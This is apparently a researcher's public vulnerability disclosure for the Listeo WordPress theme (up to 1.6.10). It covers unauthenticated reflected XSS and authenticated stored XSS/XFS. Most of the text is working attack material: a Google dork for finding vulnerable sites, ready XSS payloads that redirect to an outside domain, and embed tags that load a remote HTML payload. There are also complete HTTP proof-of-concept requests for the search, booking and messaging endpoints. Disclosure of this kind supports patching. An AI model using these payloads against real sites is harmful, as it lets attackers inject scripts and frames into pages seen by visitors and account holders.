/*! - # VULNERABILITY: Listeo WordPress Theme <= 1.6.10 - Multiple XSS & XFS vulnerabilities - # GOOGLE DORK: inurl:/wp-content/themes/listeo/ - # DATE: 2021-02-10 - # SECURITY RESEARCHER: m0ze [ https://m0ze.ru ] - # VENDOR: Purethemes [ https://purethemes.net ] - # SOFTWARE VERSION: <= 1.6.10 - # SOFTWARE LINK: https://themeforest.net/item/listeo-directory-listings-wordpress-theme/23239259 - # CVSS: Multiple - # CWE: CWE-79 - # CVE: CVE-2021-24317 */ ### -- [ Info: ] [i] Multiple XSS & XFS vulnerabilities was discovered in the Listeo theme through v1.6.10 for WordPress. [i] Plugin(s) affected: Listeo Core by Purethemes [ https://purethemes.net ]. ### -- [ Vulnerabilities: ] [x] Unauthenticated Reflected XSS | Search query, vulnerable parameter(s): ?keyword_search= and ?location_search=. [x] Authenticated Persistent XSS & XFS | Booking confirmation, vulnerable parameter(s): &firstname=, &lastname=, &email=, &phone= and &message=. [x] Authenticated Persistent XSS & XFS | Personal messages: action=listeo_send_message&recipient=&referral=author_archive&message=. ### -- [ Impact: ] [~] Malicious JavaScript code or iFrame injections, the ability to combine attack vectors against the targeted system, which can lead to a complete compromise of the resource. ### -- [ CVSS 3.1: ] [%] Unauthenticated Reflected XSS | Search query: AV:N/AC:L/PR:N/UI:N/S:C [%] Authenticated Persistent XSS & XFS | Booking confirmation: AV:N/AC:L/PR:L/UI:N/S:C [%] Authenticated Persistent XSS & XFS | Personal messages: AV:N/AC:L/PR:L/UI:N/S:C ### -- [ Payloads: ] [$] --!>" autofocus onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//" [$] <!-->"><!--><embed src=https://m0ze.ru/payload/xfsii.html> ### -- [ PoC #1 | Unauthenticated Reflected XSS | Search query: ] [!] https://listeo.pro/listings/?keyword_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//%22&location_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//%22&tax-listing_category=&action=listeo_get_listings [!] GET /listings/?keyword_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//%22&location_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//%22&tax-listing_category=&action=listeo_get_listings HTTP/1.1 Host: listeo.pro ### -- [ PoC #2 | Authenticated Persistent XSS & XFS | Booking confirmation: ] [!] POST /booking-confirmation/ HTTP/1.1 Host: listeo.pro Content-Type: application/x-www-form-urlencoded Referer: https://listeo.pro/booking-confirmation/ Cookie: [user cookies] confirmed=yessir&value=%7B%5C%22listing_type%5C%22%3A%5C%22rental%5C%22%2C%5C%22listing_id%5C%22%3A%5C%22578%5C%22%2C%5C%22date_start%5C%22%3A%5C%222021-09-07%5C%22%2C%5C%22date_end%5C%22%3A%5C%222021-09-10%5C%22%2C%5C%22adults%5C%22%3A%5C%221%5C%22%2C%5C%22services%5C%22%3A%5B%5D%7D&listing_id=578&coupon_code=&firstname=Ex%3C%21--%3E%22%3E%3C%21--%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E&lastname=Mi%3C%21--%3E%22%3E%3C%21--%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E&email=hatosoh945%40hrandod.com&phone=%3C%21--%3E%22%3E%3C%21--%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E&message=%3C%2Ftextarea%3E%3C%21--%3E%22%3E%3C%21--%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E ### -- [ PoC #3 | Authenticated Persistent XSS & XFS | Personal messages: ] [!] POST /wp-admin/admin-ajax.php HTTP/1.1 Host: listeo.pro Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: https://listeo.pro/author/m0ze/ Cookie: [user cookies] action=listeo_send_message&recipient=1506&referral=author_archive&message=%3C!--%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E ### -- [ Contacts: ] [+] Website: m0ze.ru [+] GitHub: @m0ze [+] Telegram: @m0ze_ru [+] Twitter: @vladm0ze